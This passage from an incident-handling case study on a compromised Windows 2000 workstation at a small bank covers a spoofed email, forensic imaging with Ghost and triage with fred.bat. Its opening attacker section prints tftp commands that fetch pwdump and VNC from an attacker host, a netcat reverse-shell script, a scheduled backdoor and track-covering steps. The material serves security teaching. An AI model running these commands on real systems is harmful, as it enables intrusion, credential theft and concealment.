    tftp -i %hacker% get pwdump3.exe
    tftp -i %hacker% get lsadnt.dll
    tftp -i %hacker% get pwservice.exe
    tftp -i %hacker% get nmap.exe
    tftp %hacker% get nmap-os-fingerprints
    tftp %hacker% get nmap-protocols
    tftp %hacker% get nmap-rpc
    tftp %hacker% get nmap-services
    tftp -i %hacker% get winvnc.exe
    tftp %hacker% get orl.reg
    tftp -i %hacker% get othread2.dll
    tftp -i %hacker% get vnchooks.dll
    tftp -i %hacker% get enum.exe
    tftp %hacker% get enum-it.bat
    tftp %hacker% get enum-password.lst

    at 19:00:00 /every:m,t,w,th,f,s,su "c:\program files\x\bat-nc-s.bat"
    set hacker=
    exit /b
```

**Fig. T**

```plaintext
@echo off
set hacker=555.555.555.555
cls
cd "program files/x"
nc -d %hacker% 80 -e cmd.exe
set hacker=

exit /b
```

5. COVERING TRACKS

The attacker wants to delete {c:\documents and settings\USERNAME\local settings\ew_???.tmp} directory and the files in the directory. One of the files in the directory will be {nc.exe} that is currently in use because of the attacker’s connection to the victim’s system. Because the file is in use the attacker can not just delete the file.
The attacker will need to schedule a new backdoor connection 3 minutes from now and close his current connection. To do this the attacker would first make note of the username and ew_???.tmp folder listed in the prompt `{c:\documents and settings\ftest\local settings\ew_12.tmp}`. The username is ftest and the ew_???.tmp folder is ew_c.tmp. Next the attacker needs to know what time the victim’s system is. Just type `{time}` at the prompt. Let’s say the time on the victim’s system is 20:00:00. The attacker schedules the new backdoor 3 minutes from now by the command `{at 20:03:00 "c:\program files\x\bat-nc-s.bat"}`. The attacker would then disconnect by typing `{exit}` and immediately execute the Netcat command `{nc –l –p 80}` to start the listener again. After waiting about 3 minutes the connection should be re-established. Now the attacker can navigate to `{c:\documents and settings\ftest\local settings\temp\ew_c.tmp}` and delete all the files using the command `{del *.*}` and answering `{y}` to the confirmation prompt. Next the attacker would `{cd ..}` and do a `{rd ew_c.tmp}` to remove the directory ew_c.tmp. The attacker will now navigate to the wmplayer.exe file location with the following command `{cd \program files\windows media player}` and delete wmplayer.exe using command `{del wmplayer.exe}`. The victim’s system now only has the attacker’s hidden directory `{c:\program files\x}` and the scheduled backdoor in the Windows scheduler `{at}`. The victim’s wmplayer.exe file is deleted so if the victim tries to run Windows Media Player it will not run. The attacker could try and replace the wmplayer.exe file with the correct version that was deleted in the exploit to avoid the victim detecting that Windows Media Player doesn’t work. Fig. U shows the covering tacks process on the attacker’s system.

**Fig. U (continued on next 2 pages)**

---

```
C:\tiger03\netcat>nc -l -p 80
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\DOCUME~1\ftest\LOCALS~1\Temp\ew_c.tmp>time
  The current time is: 12:25:46.99
  Enter the new time:

C:\DOCUME~1\ftest\LOCALS~1\Temp\ew_c.tmp>at 12:28:00 "c:\program files\x\bat-nc-s.bat"
at 12:28:00 "c:\program files\x\bat-nc-s.bat"
  Added a new job with job ID = 3

C:\DOCUME~1\ftest\LOCALS~1\Temp\ew_c.tmp>at
  Status ID  Day    Time      Command Line
  1 Each M T W Th F S  Su   7:00 PM  "c:\program files\x\bat-nc-s.bat"
  3 Today     12:28 PM  "c:\program files\x\bat-nc-s.bat"

C:\DOCUME~1\ftest\LOCALS~1\Temp\ew_c.tmp>exit
exit

C:\tiger03\netcat>nc -l -p 80
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\Program Files\x>cd \documents and settings\ftest\local settings\temp
  cd \documents and settings\ftest\local settings\temp

C:\Documents and Settings\ftest\Local Settings\Temp>dir
```
dir
Volume in drive C has no label.
Volume Serial Number is C08D-99A2

Directory of C:\Documents and Settings\ftest\Local Settings\Temp
05/01/2004 12:25p <DIR> .
05/01/2004 12:25p <DIR> ..
05/01/2004 12:25p <DIR> ew_c.tmp
05/01/2004 12:02p <DIR> gwviewer
05/01/2004 11:58a 16,384 ~df57a0.tmp
05/01/2004 11:58a 16,384 ~df58a1.tmp
05/01/2004 11:59a 2,817 usml_s1.vew
3 File(s) 35,585 bytes
4 Dir(s) 1,787,494,400 bytes free

C:\Documents and Settings\ftest\Local Settings\Temp>cd ew_c.tmp
cd ew_c.tmp

C:\Documents and Settings\ftest\Local Settings\Temp\ew_c.tmp>dir
dir
Volume in drive C has no label.
Volume Serial Number is C08D-99A2

Directory of C:\Documents and Settings\ftest\Local Settings\Temp\ew_c.tmp
05/01/2004 12:25p <DIR> .
05/01/2004 12:25p <DIR>..
05/01/2004 12:25p <DIR> nc.exe
05/01/2004 12:02p <DIR> gwviewer
1 File(s) 59,392 bytes
2 Dir(s) 1,787,494,400 bytes free

C:\Documents and Settings\ftest\Local Settings\Temp\ew_c.tmp>del *.*
del *.*
C:\Documents and Settings\ftest\Local Settings\Temp\ew_c.tmp>*.*. Are you sure (Y/N)? y
y
c\Documents and Settings\ftest\Local Settings\Temp\ew_c.tmp>cd..
cd..

C:\Documents and Settings\ftest\Local Settings\Temp>rd ew_c.tmp
rd ew_c.tmp

C:\Documents and Settings\ftest\Local Settings\Temp>dir
dir
Volume in drive C has no label.
Volume Serial Number is C08D-99A2

Directory of C:\Documents and Settings\ftest\Local Settings\Temp
05/01/2004 12:32p <DIR> .
05/01/2004 12:32p <DIR>..
05/01/2004 12:02p <DIR> gwviewer
05/01/2004 11:58a 16,384 ~df57a0.tmp
05/01/2004 11:58a 16,384 ~df58a1.tmp
05/01/2004 11:59a 2,817 usml_s1.vew
3 File(s) 35,585 bytes
4 Dir(s) 1,787,555,840 bytes free

C:\Documents and Settings\ftest\Local Settings\Temp>cd \program files\windows media player
cd \program files\windows media player

C:\Program Files\Windows Media Player>dir
dir
Volume in drive C has no label.
Volume Serial Number is C08D-99A2

Directory of C:\Program Files\Windows Media Player
05/01/2004 11:11a <DIR> .
Directory of C:\Program Files\Windows Media Player

05/01/2004 12:33p <=DIR> ..
05/01/2004 12:33p <=DIR> .
10/13/2003 07:02p <=DIR> ..
10/13/2003 07:02p <=DIR> 1033
10/13/2003 07:02p <=DIR> icons
10/13/2003 07:02p <=DIR> installer
10/13/2003 07:02p <=DIR> roxio
10/13/2003 07:02p <=DIR> skins
10/13/2003 07:02p <=DIR> visualizations
07/06/2002 06:01p 114,688 custsat.dll
07/06/2002 06:01p 186,696 dw15.exe
11/14/2002 07:03p 15,544 eula.txt
07/24/2002 07:00a 26,896 laprxy.dll
07/24/2002 07:00a 65,296 logagent.exe
12/11/2002 03:08p 782,338 migrate.exe
06/19/2003 02:05p 4,639 mplayer2.exe
12/11/2002 03:16p 352,256 mpvis.dll
12/11/2002 06:09p 217,600 npdrmv2.dll
04/03/2002 02:35p 403 npdrmv2.zip
07/24/2002 07:00a 22,060 npds.zip
06/19/2003 02:05p 364,544 npdsplay.dll
12/11/2002 05:34p 9,728 npwmsdrm.dll
11/08/2002 07:02p 16,384 pidgen.dll
12/11/2002 03:08p 749,568 setup_wm.exe
05/01/2004 11:59a 67,153 wmplayer.exe
12/11/2002 05:34p 208,896 wmpns.dll
10/16/2002 06:01p 28,140 wmpns.jar
18 File(s) 3,232,827 bytes
8 Dir(s) 1,787,555,840 bytes free
The Incident Handling Process

Preparation

Current countermeasures are a Cisco Pix 520 firewall between the Internet SDSL connection and the internal network or LAN. Syslog ERROR, CRITICAL, and ALERT messages are being logged from the firewall to a syslog server. The firewall configuration denies all incoming connections except SMTP traffic to the Trend Micro InterScan server. The Trend Micro InterScan server receives all SMTP incoming email and scans attachments for viruses and then forwards them on to the email server. All servers are running Trend Micro Server Protect and scan all incoming files in real-time. All workstations are running Trend Micro Office Scan anti-virus.

There is no policy or procedures for incident handling. The extent of the incident handling planning was to designate who was to respond to incidents. The Incident Handling policy is currently on the organizations to do list.

The incident handling team was made up of 3 team members. The first team member is the Operations Supervisor. His job is to deal with management, human resources, and customers of the organization. The second team member is the Computer Systems Administrator. His job is to deal with the technical issues of the incident and identify, contain, eradicate, and recovery from the incident. The third member of the team is the Assistant Computer Systems Administrator. His job is to help the Computer Systems Administrator in his tasks.

Identification

Timeline of Incident Handling Events

<table>
<thead>
<tr>
<th>Date</th>
<th>Step</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>April 28, 2004</td>
<td>Incident</td>
<td>Spoofed email message sent to ftest user</td>
</tr>
<tr>
<td>May 1, 2004</td>
<td>Identified</td>
<td>Computer Systems Administrator discovers the incident</td>
</tr>
<tr>
<td>May 2, 2004</td>
<td>Eradicated</td>
<td>Begin to rebuild Ftest User's system.</td>
</tr>
<tr>
<td>May 4, 2004</td>
<td>Recovered</td>
<td>Ftest User's system rebuilt.</td>
</tr>
</tbody>
</table>
A few days after receiving the spoofed email message the victim Ftest User was on break in the break room when the Computer Systems Administrator, Peter Parker walked in. Ftest User started asking questions about the new support website. Peter Parker was confused by the questions and asked Ftest User what support website are you talking about? Ftest User went on to tell Peter Parker that he received an email message from him with a link to a new support website. Peter Parker was beginning to be concerned since he was sure he had not sent the email. Peter Parker asked to see the email and Ftest said he still had it and would show him.

Peter Parker examines the email message and quickly realizes that something is wrong. The email had his own contact information listed in the message body and the FROM field of the email listed his real email address yet Peter Parker knew he did not send the message.

Peter Parker determines that he has an incident on his hands and retrieves a notepad from his office to record his findings and actions. Peter knew that a written record would be better proof if the incident became serious enough to involve law enforcement and prosecuting the attacker. Peter Parker writes today’s date, 05/01/2004, and the title, Spoofed email from peter.parker@xyzbank.com, on the notebooks first page.

Fig. 1 (continued on next page)

---

Received: from sheilder
(by XYZMAIL.XYZMAIL.COM; Wed, 28 Apr 2004 01:01:43 -0500)
Received: from 111.111.111.111 by sheilder (InterScan E-Mail VirusWall NT); Wed, 28 Apr 2004 01:01:44 -0500
Received: from target (mn-nrp2-dhcp1-294.dsl.isp.net [555.555.555.555])
by avalanche.isp.net (Postfix) with ESMTP id ECFB150CA7
for <ftest.user@xyzbank.com>; Wed, 28 Apr 2004 01:02:10 -0500 (CDT)
From: “Peter Parker” <peter.parker@xyzbank.com>
Subject: New Support Website Check it Out
To: ftest.user@xyzbank.com
Content-Type: text/html
Content-Transfer-Encoding: 7bit
Reply-To: peter.parker@xyzbank.com
Date: Wed, 28 Apr 2004 01:01:46 -0500
X-Priority: 3
MIME-Version: 1.0
X-Mailer: x-mailer
Message-Id: <20040428060210.ECFB150CA7@avalanche.isp.net>

<html>
<head><title>Check it Out</title></head>
<body>
<h1><p align="center">Check it Out</p></h1>

<a href="http://www.acme.net">New Support Website</a>
<p align="left">We have a new Support Website I’d like you to check out.<br>Please click on the link (New Support Website) to visit the new Support Website.<br>

Page 34 of 61
Peter examines the MIME message source shown in Fig. 1 by right clicking on the email in the inbox of the Novell GroupWise client and selecting view. He prints the message source out as his first piece of evidence. Then on a clean sheet within the notebook Peter writes today’s date, 05/01/2004 and titles the page, EVIDENCE LOG, and makes an entry for item #1.

ITEM #: 1

TYPE OF EVIDENCE: Printed document

DESCRIPTION:

Message source from Ftest User’s email inbox. Message subject “New Support Website Check It Out”.

Peter’s examination of the MIME message source shows an HTML message body with an entry {<a href=http://www.acme.net>New Support Website</a>}. Peter verifies with Ftest User that he did in fact click on the link. Peter writes in his log a description of what is known at this time:

Description of Incident:

Ftest User received an email message on 04/28/2004 that appears to be from peter.parker@xyzbank.com with the subject “New Support Website Check It Out”. The time the email was received was 1:01 A.M. Peter Parker (myself) knows that I did not send this message. First examination of the message body shows the message included correct contact information for Peter Parker at XYZ Community Bank.

It is my belief on 05/01/2004 that this is a spoofed email message pretending to be from myself, Peter Parker, in order to get Ftest User to open the message. Ftest User has indicated that on 04/28/2004 he did open the message and did click on the link to “New Support Website”.

Examination of the message source, evidence item #1, shows that the link points to {www.acme.net}. Peter searches Ftest User’s temporary internet files, found in {c:\documents and settings\ftest\local settings\temporary internet files}. He finds a file
called {www.acme.net/html}. Peter opens the file in notepad and discovers what is contained in the file is most likely the HTML code of the website that Ftest User opened when clicking on the “New Support Website” link. Peter prints the file and logs it in the evidence log of the notebook as item #2.

TEM #: 2

TYPE OF EVIDENCE: Printed document

DESCRIPTION:

Suspected HTML code from “New Support Website”

Examination of the HTML code shows some very simple links and then at the bottom some unfamiliar code that contains references to {acme.net}, {EXPLOIT.CHM}, and {exploit.htm}. Fig. 2 shows the HTML code examined. The name exploit in itself doesn’t sound good to Peter Parker.

Fig. 2 (continued on next page)
Peter Parker now realizes that Ftest User’s system has been compromised and will require a more detailed examination and more careful preservation of evidence. Peter Parker notifies the other team members and the containment phase begins.

**Containment**

Peter Parker has a laptop, external USB hard drive, hub, various cables, and a collection of software tools on CD-ROM that will act as the improvised jump bag in this incident. The tools used from this jump bag are as follows:

1. Laptop computer running Windows XP
2. Seagate external 150GB USB hard disk drive
3. NETGEAR EN104TP 4 port 10Base-T hub
4. RJ-45 patch cables
5. Symantec Ghost v7.5
6. 1.44MB Floppy disks

The team decides to first examine the current connections to the system using TCPView and save the output to a file. The TCPView output is shown in **Fig. 3**.

**Fig. 3**

<table>
<thead>
<tr>
<th>Process</th>
<th>Protocol</th>
<th>Local Address</th>
<th>Remote Address</th>
<th>State</th>
</tr>
</thead>
<tbody>
<tr>
<td>GrpWise.exe:1580</td>
<td>UDP</td>
<td>0.0.0.0:1168</td>
<td><em>:</em></td>
<td>LISTENING</td>
</tr>
<tr>
<td>GrpWise.exe:1580</td>
<td>UDP</td>
<td>0.0.0.0:1144</td>
<td><em>:</em></td>
<td>LISTENING</td>
</tr>
<tr>
<td>GrpWise.exe:1580</td>
<td>TCP</td>
<td>0.0.0.0:1285</td>
<td>192.168.2.105:1677</td>
<td>ESTABLISHED</td>
</tr>
<tr>
<td>LSASS.EXE:228</td>
<td>UDP</td>
<td>192.168.2.500</td>
<td><em>:</em></td>
<td>LISTENING</td>
</tr>
<tr>
<td>LSASS.EXE:228</td>
<td>UDP</td>
<td>192.168.2.4500</td>
<td><em>:</em></td>
<td>LISTENING</td>
</tr>
<tr>
<td>mstask.exe:796</td>
<td>TCP</td>
<td>0.0.0.0:1025</td>
<td>0.0.0.0</td>
<td>LISTENING</td>
</tr>
<tr>
<td>svcost.exe:384</td>
<td>TCP</td>
<td>0.0.0.0:135</td>
<td>0.0.0.0</td>
<td>LISTENING</td>
</tr>
<tr>
<td>System:8</td>
<td>TCP</td>
<td>0.0.0.0:445</td>
<td>0.0.0.0</td>
<td>LISTENING</td>
</tr>
<tr>
<td>System:8</td>
<td>TCP</td>
<td>0.0.0.0:1034</td>
<td>0.0.0.0</td>
<td>LISTENING</td>
</tr>
<tr>
<td>System:8</td>
<td>TCP</td>
<td>0.0.0.0:1091</td>
<td>0.0.0.0</td>
<td>LISTENING</td>
</tr>
<tr>
<td>System:8</td>
<td>TCP</td>
<td>0.0.0.0:1097</td>
<td>0.0.0.0</td>
<td>LISTENING</td>
</tr>
<tr>
<td>System:8</td>
<td>TCP</td>
<td>192.168.2.139</td>
<td>0.0.0.0</td>
<td>LISTENING</td>
</tr>
<tr>
<td>System:8</td>
<td>TCP</td>
<td>192.168.2.427</td>
<td>0.0.0.0</td>
<td>LISTENING</td>
</tr>
<tr>
<td>System:8</td>
<td>TCP</td>
<td>192.168.2.82:1091</td>
<td>192.168.2.82:524</td>
<td>ESTABLISHED</td>
</tr>
<tr>
<td>System:8</td>
<td>TCP</td>
<td>192.168.2.82:1097</td>
<td>192.168.2.82:524</td>
<td>ESTABLISHED</td>
</tr>
<tr>
<td>System:8</td>
<td>TCP</td>
<td>192.168.2.82:12345</td>
<td>192.168.2.82:7:4756</td>
<td>ESTABLISHED</td>
</tr>
<tr>
<td>System:8</td>
<td>UDP</td>
<td>0.0.0.0:445</td>
<td><em>:</em></td>
<td>LISTENING</td>
</tr>
<tr>
<td>System:8</td>
<td>UDP</td>
<td>192.168.2.82:137</td>
<td><em>:</em></td>
<td>LISTENING</td>
</tr>
<tr>
<td>System:8</td>
<td>UDP</td>
<td>192.168.2.82:138</td>
<td><em>:</em></td>
<td>LISTENING</td>
</tr>
<tr>
<td>System:8</td>
<td>UDP</td>
<td>192.168.2.82:427</td>
<td><em>:</em></td>
<td>LISTENING</td>
</tr>
<tr>
<td>System:8</td>
<td>UDP</td>
<td>192.168.2.82:1026</td>
<td><em>:</em></td>
<td>LISTENING</td>
</tr>
<tr>
<td>System:8</td>
<td>TCP</td>
<td>192.168.2.82:1284</td>
<td>0.0.0.0</td>
<td>LISTENING</td>
</tr>
<tr>
<td>System:8</td>
<td>TCP</td>
<td>192.168.2.82:1284</td>
<td>192.168.2.7:139</td>
<td>ESTABLISHED</td>
</tr>
<tr>
<td>tmlisten.exe:844</td>
<td>TCP</td>
<td>0.0.0.0:12345</td>
<td>0.0.0.0</td>
<td>LISTENING</td>
</tr>
<tr>
<td>winvnc.exe:964</td>
<td>TCP</td>
<td>0.0.0.0:5800</td>
<td>0.0.0.0</td>
<td>LISTENING</td>
</tr>
<tr>
<td>winvnc.exe:964</td>
<td>TCP</td>
<td>0.0.0.0:5900</td>
<td>0.0.0.0</td>
<td>LISTENING</td>
</tr>
</tbody>
</table>
The team examines the TCPView output file quickly and sees no out of the ordinary connections established. All established connections can be verified as normal connections to the email server, anti-virus server, and file server. Peter Parker logs it as item #3 in the evidence log.

ITEM #: 3

TYPE OF EVIDENCE: Printed document

DESCRIPTION:

| Output of TCPView performed on Ftest User’s workstation on 05/01/2004 @ 10:00 A.M. |

Now the team disconnects the network cable from the back of Ftest User’s workstation in the hope of containing the incident to this workstation only. The Supervisor of Operations and Assistant Computer Systems Administrator are deployed to look for other systems that have the {www.acme.net/.html} file on the hard drive or the user remembers receiving the spoofed email message in their inbox.

Peter Parker is tasked with assessing the incident on Ftest User’s workstation. The first task in assessing the workstation is to get a forensics back up of the hard disk drive. Peter will use Symantec Ghost Version 7.5 to create a forensics image of the hard disk drive. This method should work in version 8.0 as well.

First we will need to check what the network interface card is on the workstation. Peter uses Windows device manager to check the network card model. On the laptop Peter runs Symantec Boot Disk Wizard to create the network Ghost boot disk for the workstation. This will be needed to connect the workstation to the GhostCast server on the laptop.

The workstation will need to be shutdown in order to make the forensic backup. Peter decides to pull the power plug rather than shutdown the system normally, in the hopes of not destroying any evidence that might be overwritten or deleted by the shutdown process.

List of equipment used to create forensics backup of hard disk:

1. Laptop computer running Windows XP
2. Seagate 150GB External USB drive
3. NETGEAR EN104TP 10BASE-T hub
4. RJ-45 patch cables
5. Symantec Ghost 7.5\(^{19}\) software
6. Ghost boot disk
The equipment is assembled by connecting the Seagate USB drive to the USB port of the laptop. The laptop should automatically install the drive. The drive will be assigned a drive letter. Windows explorer will show you the drive letter, in our case drive {e:}. We will need to assign the laptop Ethernet interface an IP address to be used for the connection to the Ftest User workstation. We will assign IP 192.168.2.3 for the address of the laptop. Next we will connect a RJ-45 patch cable from the NETGEAR hub to the Ftest User workstation. Then we connect another RJ-45 patch cable from the NETGEAR hub to the laptop.

Peter will now start the Symantec GhostCast Server. Symantec GhostCast Server requires a few configuration entries to be made. Shown in Fig. 4 is the GhostCast server configuration and status screen. Here you will need to give it a session name. The session name will be used on both the GhostCast server and workstation to make sure they are communicating with each other. Next we need an image file path and name. Here we are saving the forensic image to {e:\forensic-images\ftest-forensic-image.gho}. The final configuration is to select Disk and then in the Client command line options set it to Disk No. 1 with the command line of {-clone,mode=dump,src=1,dst=@mcforensic}. Disk No. 1 tells GhostCast server that the disk drive in the workstation to be imaged is the 1st drive. The command line says we want to dump the contents from disk 1 {src=1} to the destination indicated by the forensic session {@mcforensic}. The forensic destination is the path set in image file field. Click, accept clients, and we are ready to receive the image.
We will boot the workstation using the boot disk. Once booted we will run ghost.exe with the command \{ghost \–ir \–ja=forensic \–jaddr=192.168.2.3 \–jm=u \–z1\}. This tells the ghost.exe to do a sector-by-sector \{-ir\} copy including extraneous or erroneous boot track information or an exact copy of the disk errors and free space. The \{-ja=forensic\} tells ghost.exe what the GhostCast server session name is. \{-jaddr=192.168.2.3\} tells ghost.exe what the IP address of the GhostCast server is. \{-jm=u\} tells ghost.exe to use unicast mode. \{-z1\} will use FAST compression for the image file.

Peter logs the disk image as item # 4 in the evidence log.

ITEM #: 4

TYPE OF EVIDENCE: Hard disk image

DESCRIPTION:

This is a sector-by-sector image of Ftest User’s hard disk drive. Taken on 05/01/2004 @ 12:05 P.M.
Peter decides to boot the workstation back up since we have the forensic backup image. This is not always the recommended procedure, but Peter is being pushed to recover the system since Ftest User has no replacement system to use during the investigation. Once Peter gets the workstation booted back up he is going to run a batch file called fred.bat. This batch file is on Melior, Inc. F.I.R.E. CD V0.3.5b\textsuperscript{20}. Melior’s F.I.R.E CD is a forensic tool set that can be booted from or inserted into an already booted system. To run fred.bat Peter inserts the CD into the already booted and logged in workstation. If auto run is enabled you should see the F.I.R.E. window come up. \textbf{Fig. 5} shows the F.I.R.E. GUI window. Peter selects “Open forensic cmd shell” from the buttons on the left. This will run a trusted copy of the cmd.exe file on the F.I.R.E. CD. It also sets the path environment variable to search the binaries on the F.I.R.E. CD first. This is helpful if the malware or attacker has modified the tools you want to use to find the malicious code in order to cloak his malware. \textbf{Fig. 6} shows the forensic command shell window.

\textbf{Fig. 5}
Peter will execute the fred.bat file from here, but first he must obtain a blank floppy disk to place in the {a:} drive. The fred.bat file will create a file called audit.txt on the {a:} drive. The batch file fred.bat will run various commands and programs and send the output or results to {a:\audit.txt}. The commands and programs that fred.bat executes are as follows:

1. PSInfo v1.31 by Mark Russinovich [www.sysinternals.com]
2. NET ACCOUNTS (Windows command) – Lists user account thresholds.
3. NET FILE (Windows command) – List open files.
4. NET SESSION (Windows command) – Lists open sessions.
5. NET SHARE (Windows command) – Lists shared folders.
6. NET START (Windows command) – Lists running services.
7. NET USE (Windows command) Lists connections to shared folders.
8. NET USER (Windows command) – Lists usernames.
9. NET VIEW (Windows command) – Lists other computers in current domain.
10. arp –a (Windows command) – Lists ARP entries in the systems ARP table.
12. PSLoggedOn v1.21 by Mark Russinovich [www.sysinternals.com]
13. ProcInterrogate v0.0.1 by Kirby Kuchl [vacuum@users.sourceforge.com]
14. FPORT (fport /p) v2.0 by FoundStone Inc. [www.foundstone.com]
15. PSLIST (pslist –x) v1.2 by Mark Russinovich [www.sysinternals.com]
16. NBTSTAT (Windows command) – Lists connections using NetBios of TCP/IP.
17. DIR {dir /s /a:h /t:a c: d:} – List all hidden files on C and D drives.
18. MD5SUM of all system files
19. AT (Windows command) – List all task scheduler tasks.
The fred.bat output file audit.txt is very large. A slimmed down version showing key areas for this incident is shown in Fig. 7. Highlighted are 2 suspicious entries in audit.txt that seem out of place. First suspicious finding is a hidden directory called {X} in {c:\program files}. The second suspicious finding is a task scheduler entry found with the command {AT}, that runs a batch file from the suspicious hidden {X} directory called bat-nc-s.bat. Peter prints the audit.txt file out and logs it as item # 5 in the evidence notebook.

ITEM #: 5

TYPE OF EVIDENCE: Printed document

DESCRIPTION:

Output of fred.bat v1.1 off the F.I.R.E. CD v0.3.5b showing some suspicious entries.

Fig. 7 (continued on the next 12 pages)
Directory of C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\7L3Q859V
04/24/2004 05:57p 67 desktop.ini
1 File(s) 67 bytes

Directory of C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\BYE4A3YL
04/24/2004 05:57p 67 desktop.ini
1 File(s) 67 bytes

Directory of C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\R3BKTESI
04/24/2004 05:57p 67 desktop.ini
1 File(s) 67 bytes

Directory of C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\UGEVMQQ4
04/27/2004 08:07p 67 desktop.ini
1 File(s) 67 bytes

Directory of C:\Documents and Settings\Administrator\My Documents\My Pictures
05/01/2004 11:13a 438 desktop.ini
1 File(s) 438 bytes

Directory of C:\Documents and Settings\Administrator\NetHood
05/02/2004 09:22a <DIR> ...
0 File(s) 0 bytes

Directory of C:\Documents and Settings\Administrator\NetHood\Computers Near Me
05/02/2004 12:05a 92 desktop.ini
1 File(s) 92 bytes

Directory of C:\Documents and Settings\Administrator\PrintHood
05/02/2004 09:22a <DIR> ...
0 File(s) 0 bytes

Directory of C:\Documents and Settings\Administrator\Recent
05/02/2004 09:22a <DIR> ...
05/02/2004 12:02a 122 desktop.ini
1 File(s) 122 bytes

Directory of C:\Documents and Settings\Administrator\SendTo
05/02/2004 09:22a <DIR> ...
05/02/2004 09:22a <DIR> ...
0 File(s) 0 bytes

Directory of C:\Documents and Settings\Administrator\Templates
05/02/2004 09:22a <DIR> ...
05/02/2004 09:22a <DIR> ...
0 File(s) 0 bytes

Directory of C:\Documents and Settings\All Users
05/02/2004 09:00a <DIR> application data
05/02/2004 09:22a <DIR> drm
05/02/2004 09:22a <DIR> templates
04/19/2004 03:38p 2,370 ntuser.pol
1 File(s) 2,370 bytes
Directory of C:\Documents and Settings\All Users\Application Data

05/02/2004 09:00a <DIR> .
05/02/2004 09:00a <DIR> ..
0 File(s) 0 bytes

Directory of C:\Documents and Settings\All Users\Application Data\Microsoft\Media Player

04/19/2004 04:36p 720,896 defaultstore_59r.bin
04/19/2004 04:36p 720,896 usermigratedstore_59r.bin
2 File(s) 1,441,792 bytes

Directory of C:\Documents and Settings\All Users\Application Data\Microsoft\Windows NT\MSFax

05/02/2004 09:22a <DIR> faxreceive
05/02/2004 09:22a <DIR> queue
0 File(s) 0 bytes

Directory of C:\Documents and Settings\All Users\Application Data\Microsoft\Windows NT\MSFax\faxreceive

05/02/2004 09:22a <DIR> .
05/02/2004 09:22a <DIR> ..
0 File(s) 0 bytes

Directory of C:\Documents and Settings\All Users\Application Data\Microsoft\Windows NT\MSFax\queue

05/02/2004 09:22a <DIR> .
05/02/2004 09:22a <DIR> ..
0 File(s) 0 bytes

Directory of C:\Documents and Settings\All Users\DRM

05/02/2004 09:22a <DIR> .
05/02/2004 09:22a <DIR> ..
04/19/2004 04:36p 1,536 drmv2.lic
04/19/2004 04:36p 1,536 drmv2.sst
2 File(s) 3,072 bytes

Directory of C:\Documents and Settings\All Users\Templates

05/02/2004 09:22a <DIR> .
05/02/2004 09:22a <DIR> ..
0 File(s) 0 bytes

Directory of C:\Documents and Settings\Default User

05/02/2004 09:22a <DIR> .
05/02/2004 09:22a <DIR> ..
05/02/2004 09:22a <DIR> application data
05/02/2004 09:22a <DIR> local settings
05/02/2004 09:22a <DIR> nethood
05/02/2004 09:22a <DIR> printhood
05/02/2004 09:22a <DIR> recent
05/02/2004 09:22a <DIR> sendto
05/02/2004 09:22a <DIR> templates
04/19/2004 12:46p 122,880 ntuser.dat
1 File(s) 122,880 bytes

Directory of C:\Documents and Settings\Default User\Application Data

05/02/2004 09:22a <DIR> .
05/02/2004 09:22a <DIR> ..
0 File(s) 0 bytes

Directory of C:\Documents and Settings\Default User\Local Settings

05/02/2004 09:22a <DIR> .
05/02/2004 09:22a <DIR> ..
05/02/2004 09:22a <DIR> application data
0 File(s) 0 bytes
Directory of C:\Documents and Settings\Default User\Local Settings\Application Data

05/02/2004 09:22a  <DIR> .
05/02/2004 09:22a  <DIR> ..
0 File(s) 0 bytes

Directory of C:\Documents and Settings\Default User\Local Settings\History

04/25/2004 12:40a  113 desktop.ini
1 File(s) 113 bytes

Directory of C:\Documents and Settings\Default User\Local Settings\History\History.IE5

04/19/2004 12:46p  113 desktop.ini
1 File(s) 113 bytes

Directory of C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files

04/25/2004 12:40a  67 desktop.ini
1 File(s) 67 bytes

Directory of C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5

04/25/2004 12:40a  67 desktop.ini
1 File(s) 67 bytes

Directory of C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5\80PXMAUV

04/25/2004 12:40a  67 desktop.ini
1 File(s) 67 bytes

Directory of C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5\AOGM8ZU1

04/25/2004 12:40a  67 desktop.ini
1 File(s) 67 bytes

Directory of C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5\F1F2MM15

04/25/2004 12:40a  67 desktop.ini
1 File(s) 67 bytes

Directory of C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5\O4DKCQB8

04/25/2004 12:40a  67 desktop.ini
1 File(s) 67 bytes

Directory of C:\Documents and Settings\Default User\My Documents\My Pictures

04/25/2004 12:40a  438 desktop.ini
1 File(s) 438 bytes

Directory of C:\Documents and Settings\Default User\NetHood

05/02/2004 09:22a  <DIR> .
05/02/2004 09:22a  <DIR> ..
0 File(s) 0 bytes

Directory of C:\Documents and Settings\Default User\PrintHood

05/02/2004 09:22a  <DIR> .
05/02/2004 09:22a  <DIR> ..
0 File(s) 0 bytes

Directory of C:\Documents and Settings\Default User\Recent

05/02/2004 09:22a  <DIR> .
05/02/2004 09:22a  <DIR> ..
0 File(s) 0 bytes

Page 47 of 61
<table>
<thead>
<tr>
<th>Directory of C:\Documents and Settings\Default User\SendTo</th>
</tr>
</thead>
<tbody>
<tr>
<td>05/02/2004 09:22a &lt;DIR&gt; ..</td>
</tr>
<tr>
<td>05/02/2004 09:22a &lt;DIR&gt; ..</td>
</tr>
<tr>
<td>0 File(s) 0 bytes</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Directory of C:\Documents and Settings\Default User\Templates</th>
</tr>
</thead>
<tbody>
<tr>
<td>05/02/2004 09:22a &lt;DIR&gt; ..</td>
</tr>
<tr>
<td>05/02/2004 09:22a &lt;DIR&gt; ..</td>
</tr>
<tr>
<td>0 File(s) 0 bytes</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Directory of C:\Documents and Settings\ftest</th>
</tr>
</thead>
<tbody>
<tr>
